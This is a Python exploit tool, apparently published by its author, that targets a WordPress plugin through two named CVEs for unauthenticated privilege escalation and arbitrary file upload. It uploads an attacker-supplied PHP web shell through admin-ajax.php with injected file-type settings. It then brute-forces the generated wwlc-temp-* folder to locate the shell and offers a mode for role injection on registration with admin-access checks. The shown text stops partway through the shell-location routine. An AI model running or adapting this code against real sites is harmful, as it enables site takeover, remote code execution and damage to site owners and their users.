1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
By: Nxploited (Khaled Alenazi)
GitHub: https://github.com/Nxploited
Telegram: @KNxploited
"""
import os
import re
import sys
import time
import json
import random
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import Optional, List, Tuple, Dict, Any
from urllib.parse import urlparse
import requests
import urllib3
try:
from colorama import Fore, Style, init as colorama_init # type: ignore
colorama_init(autoreset=True)
except Exception:
class _C:
RESET = ""
RED = ""
GREEN = ""
YELLOW = ""
CYAN = ""
MAGENTA = ""
BLUE = ""
WHITE = ""
Fore = _C()
Style = _C()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
def log_success(msg: str) -> None:
print(Fore.GREEN + Style.BRIGHT + "[SUCCESS] " + Style.NORMAL + msg + Style.RESET_ALL)
def log_fail(msg: str) -> None:
print(Fore.RED + Style.BRIGHT + "[FAIL] " + Style.NORMAL + msg + Style.RESET_ALL)
def log_dead(msg: str) -> None:
print(Fore.LIGHTBLACK_EX + Style.BRIGHT + "[DEAD] " + Style.NORMAL + msg + Style.RESET_ALL)
def log_info(msg: str) -> None:
print(Fore.CYAN + Style.BRIGHT + "[INFO] " + Style.NORMAL + msg + Style.RESET_ALL)
def log_warn(msg: str) -> None:
print(Fore.MAGENTA + Style.BRIGHT + "[WARN] " + Style.NORMAL + msg + Style.RESET_ALL)
def build_session(timeout: int) -> requests.Session:
s = requests.Session()
s.verify = False
s.headers.update({
"User-Agent": (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/121.0.0.0 Safari/537.36"
),
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "keep-alive",
})
adapter = requests.adapters.HTTPAdapter(pool_connections=50, pool_maxsize=50, max_retries=1)
s.mount("http://", adapter)
s.mount("https://", adapter)
return s
def normalize_base(url: str) -> str:
url = url.strip()
if not url.startswith(("http://", "https://")):
url = "http://" + url
p = urlparse(url)
return f"{p.scheme}://{p.netloc}"
def guess_uploads_base_url(base_url: str) -> str:
return base_url.rstrip("/") + "/wp-content/uploads"
def ask(prompt: str, default: Optional[str] = None) -> str:
if default is not None:
s = input(f"{prompt} [{default}]: ").strip()
return s if s else default
return input(f"{prompt}: ").strip()
def ask_int(prompt: str, default: int) -> int:
s = ask(prompt, str(default))
try:
return int(s)
except Exception:
return default
def center(text: str, width: int) -> str:
if len(text) >= width:
return text
pad = (width - len(text)) // 2
return " " * pad + text
def print_banner() -> None:
os.system("cls" if os.name == "nt" else "clear")
try:
import shutil
TERM_WIDTH = shutil.get_terminal_size((80, 20)).columns
except Exception:
TERM_WIDTH = 80
top_border = "─" * (TERM_WIDTH - 2)
bottom_border = top_border
print(Fore.BLUE + "┌" + top_border + "┐" + Style.RESET_ALL)
raw_logo = [
]
for line in raw_logo:
print(Fore.CYAN + Style.BRIGHT + center(line, TERM_WIDTH) + Style.RESET_ALL)
print()
cve1 = "CVE-2026-27542 Unauthenticated Privilege Escalation"
cve2 = "CVE-2026-27540 Unauthenticated Arbitrary File Upload"
print(Style.BRIGHT + Fore.GREEN + center(cve1, TERM_WIDTH) + Style.RESET_ALL)
print(Style.BRIGHT + Fore.GREEN + center(cve2, TERM_WIDTH) + Style.RESET_ALL)
print()
by_line = "By: Nxploited (Khaled Alenazi)"
gh_line = "GitHub : https://github.com/Nxploited"
tg_line = "Telegram : @KNxploited"
print(Style.BRIGHT + Fore.GREEN + center(by_line, TERM_WIDTH) + Style.RESET_ALL)
print(Style.BRIGHT + Fore.GREEN + center(gh_line.upper(), TERM_WIDTH) + Style.RESET_ALL)
print(Style.BRIGHT + Fore.GREEN + center(tg_line.upper(), TERM_WIDTH) + Style.RESET_ALL)
print()
modes_title = "Modes"
print(Style.BRIGHT + Fore.CYAN + center(modes_title, TERM_WIDTH) + Style.RESET_ALL)
print(Fore.WHITE + center("[1] File Upload + wwlc-temp-* Folder Brute-Force", TERM_WIDTH) + Style.RESET_ALL)
print(Fore.WHITE + center("[2] Registration + Role Injection + Admin Check", TERM_WIDTH) + Style.RESET_ALL)
print()
note = (
"Note (Mode 1): wwlc-temp-* folder is generated via uniqid('wwlc-temp-'), "
"so folder name is brute-forced, not exactly computed."
)
print(Fore.YELLOW + center(note, TERM_WIDTH) + Style.RESET_ALL)
print(Fore.BLUE + "└" + bottom_border + "┘" + Style.RESET_ALL)
print()
def has_logged_in_cookie(sess: requests.Session) -> bool:
return any(c.name.startswith("wordpress_logged_in") for c in sess.cookies)
def check_admin_access(sess: requests.Session, root_url: str, timeout: int) -> bool:
admin_paths = [
"/wp-admin/index.php",
"/wp-admin/profile.php",
"/wp-admin/edit.php",
"/wp-admin/plugins.php",
"/wp-admin/users.php",
]
markers = [
'id="adminmenu"', 'id="wpadminbar"', '<div id="wpwrap">',
'class="wp-admin', 'id="wpcontent"', 'id="wpbody-content"',
"users.php", "plugins.php", "edit.php",
]
deny = [
"sorry, you are not allowed to access this page",
"you do not have sufficient permissions",
"insufficient permissions",
]
ok_pages = 0
for ep in admin_paths:
u = root_url.rstrip("/") + ep
try:
r = sess.get(u, timeout=timeout, allow_redirects=True)
except Exception:
continue
if r.status_code != 200:
continue
if "wp-login.php" in (r.url or ""):
return False
content = r.text or ""
low = content.lower()
if any(d in low for d in deny):
return False
found = sum(1 for m in markers if m in content)
if found >= 3:
ok_pages += 1
if ok_pages >= 2:
return True
try:
r2 = sess.get(root_url.rstrip("/") + "/wp-admin/plugin-install.php",
timeout=timeout, allow_redirects=True)
if r2.status_code == 200:
low2 = (r2.text or "").lower()
if any(d in low2 for d in deny):
return False
if "upload-plugin" in low2 or "plugin-install-tab" in low2:
return True
except Exception:
pass
return ok_pages >= 1
def find_wp_login_path(sess: requests.Session, base_url: str, timeout: int) -> str:
paths = [
"/wp-login.php",
"/wordpress/wp-login.php",
"/wp/wp-login.php",
"/blog/wp-login.php",
"/cms/wp-login.php",
"/wp/login.php",
]
for p in paths:
url = base_url.rstrip("/") + p
try:
r = sess.get(url, timeout=timeout, allow_redirects=True)
except Exception:
continue
txt = r.text or ""
if r.status_code == 200 and "<form" in txt and "password" in txt.lower():
return p
return "/wp-login.php"
def strict_login_attempt(
sess: requests.Session,
base_url: str,
login_user: str,
password: str,
timeout: int,
) -> bool:
root_site = base_url.rstrip("/") + "/"
login_path = find_wp_login_path(sess, base_url, timeout)
login_url = base_url.rstrip("/") + login_path
try:
sess.get(login_url, timeout=timeout, allow_redirects=True)
except Exception:
pass
data = {
"log": login_user.strip(),
"pwd": password,
"wp-submit": "Log In",
"testcookie": "1",
}
headers = {
"User-Agent": sess.headers.get("User-Agent", ""),
"Content-Type": "application/x-www-form-urlencoded",
"Referer": login_url,
}
try:
r = sess.post(login_url, data=data, headers=headers, timeout=timeout, allow_redirects=True)
except Exception:
return False
content = (r.text or "").lower()
fails = [
"incorrect username or password",
"invalid username",
"invalid password",
"error: the username",
"is not registered",
"authentication failed",
"login failed",
"unknown username",
]
if any(x in content for x in fails):
return False
if not has_logged_in_cookie(sess):
return False
return check_admin_access(sess, root_site, timeout)
# ===================== MODE 1: UPLOAD + FOLDER BRUTE FORCE (محسّن) ===================== #
def upload_shell(
sess: requests.Session,
base_url: str,
shell_path: str,
timeout: int,
) -> Tuple[bool, Optional[str], Optional[float], Optional[float]]:
ajax_url = base_url.rstrip("/") + "/wp-admin/admin-ajax.php"
if not os.path.isfile(shell_path):
log_fail(f"{base_url} | shell file not found: {shell_path}")
return False, None, None, None
files = {
"uploaded_file": (os.path.basename(shell_path), open(shell_path, "rb"), "application/octet-stream")
}
data = {
"action": "wwlc_file_upload_handler",
"file_settings": json.dumps({
"allowed_file_types": ["php", "jpg"],
"max_allowed_file_size": 99999999
})
}
t_before = time.time()
try:
r = sess.post(ajax_url, data=data, files=files, timeout=timeout)
except Exception as e:
log_dead(f"{base_url} | upload error (site may be down): {e}")
return False, None, t_before, None
t_after = time.time()
upload_duration = t_after - t_before
log_info(f"{base_url} | upload HTTP time: {upload_duration:.3f}s")
text = r.text or ""
try:
j = json.loads(text)
except Exception:
log_fail(f"{base_url} | upload non-JSON response snippet: {text[:150]!r}")
return False, None, t_before, t_after
if not isinstance(j, dict):
log_fail(f"{base_url} | upload JSON not object: {text[:150]!r}")
return False, None, t_before, t_after
status = str(j.get("status", "")).lower()
if status != "success":
log_fail(f"{base_url} | upload failed JSON: {j}")
return False, None, t_before, t_after
file_name = j.get("file_name")
if not file_name:
log_fail(f"{base_url} | upload success but no file_name in response")
return False, None, t_before, t_after
log_success(f"{base_url} | upload success file_name={file_name}")
return True, file_name, t_before, t_after
def try_list_uploads(
sess: requests.Session,
uploads_base: str,
timeout: int,
) -> List[str]:
candidates: List[str] = []
url = uploads_base.rstrip("/") + "/"
try:
r = sess.get(url, timeout=timeout, allow_redirects=True)
except Exception:
return candidates
if r.status_code not in (200, 403):
return candidates
body = r.text or ""
lower = body.lower()
if "index of" in lower and "wp-content/uploads" in lower:
import re
for m in re.finditer(r'href=["\'](wwlc-temp-[^/"\' ]+/?)["\']', body, re.I):
name = m.group(1).rstrip("/")
candidates.append(name)
return list(dict.fromkeys(candidates))
def random_hex(n: int) -> str:
return "".join(random.choice("0123456789abcdef") for _ in range(n))
def generate_pattern_guesses(max_pattern_guesses: int) -> List[str]:
guesses: List[str] = []
now = time.localtime()
ymd = time.strftime("%Y%m%d", now)
ymdh = time.strftime("%Y%m%d%H", now)
ymdhm = time.strftime("%Y%m%d%H%M", now)
time_patterns = [
f"wwlc-temp-{ymd}",
f"wwlc-temp-{ymdh}",
f"wwlc-temp-{ymdhm}",
]
guesses.extend(time_patterns)
hex_targets = max(20, max_pattern_guesses // 3)
for _ in range(hex_targets):
for ln in (10, 11, 12, 13, 14, 15, 16):
if len(guesses) >= max_pattern_guesses:
break
guesses.append("wwlc-temp-" + random_hex(ln))
if len(guesses) >= max_pattern_guesses:
break
seq_limit = min(50000, max_pattern_guesses - len(guesses))
for i in range(1, seq_limit + 1):
guesses.append(f"wwlc-temp-{i:010d}")
if len(guesses) >= max_pattern_guesses:
break
return list(dict.fromkeys(guesses))
def generate_time_based_hex_guesses(
t_before: Optional[float],
t_after: Optional[float],
count: int,
) -> List[str]:
if t_before is None or t_after is None or count <= 0:
return []
seed_str = f"{t_before:.6f}-{t_after:.6f}"
seed = hash(seed_str)
rnd = random.Random(seed)
guesses = []
for _ in range(count):
ln = rnd.choice([12, 13, 14])
hex_part = "".join(rnd.choice("0123456789abcdef") for _ in range(ln))
guesses.append("wwlc-temp-" + hex_part)
return guesses
def generate_random_hex_guesses(count: int) -> List[str]:
return ["wwlc-temp-" + random_hex(13) for _ in range(count)]
def try_shell_at(
sess: requests.Session,
url: str,
shell_signature: str,
timeout: int,
) -> bool:
try:
r = sess.get(url, timeout=timeout, allow_redirects=True)
except Exception:
return False
if r.status_code != 200:
return False
body = r.text or ""
if shell_signature in body:
return True
return False
def try_locate_shell(
sess: requests.Session,
base_url: str,
file_name: str,
shell_signature: str,
max_pattern_guesses: int,
max_random_guesses: int,
max_time_based_guesses: int,
t_before: Optional[float],
t_after: Optional[float],
timeout: int,
) -> Optional[str]:
uploads_base = guess_uploads_base_url(base_url)
total_attempts = 0
t_scan_start = time.time()
# Layer 0: directory listing
dl_folders = try_list_uploads(sess, uploads_base, timeout)
if dl_folders:
log_info(f"{base_url} | directory listing: {len(dl_folders)} wwlc-temp-* candidates")
for folder in dl_folders:
url = f"{uploads_base.rstrip('/')}/{folder}/{file_name}"
total_attempts += 1
if try_shell_at(sess, url, shell_signature, timeout):
t_scan_end = time.time()
scan_time = t_scan_end - t_scan_start
rate = total_attempts / scan_time if scan_time > 0 else total_attempts
log_success(f"{base_url} | shell FOUND via listing: {url}")
|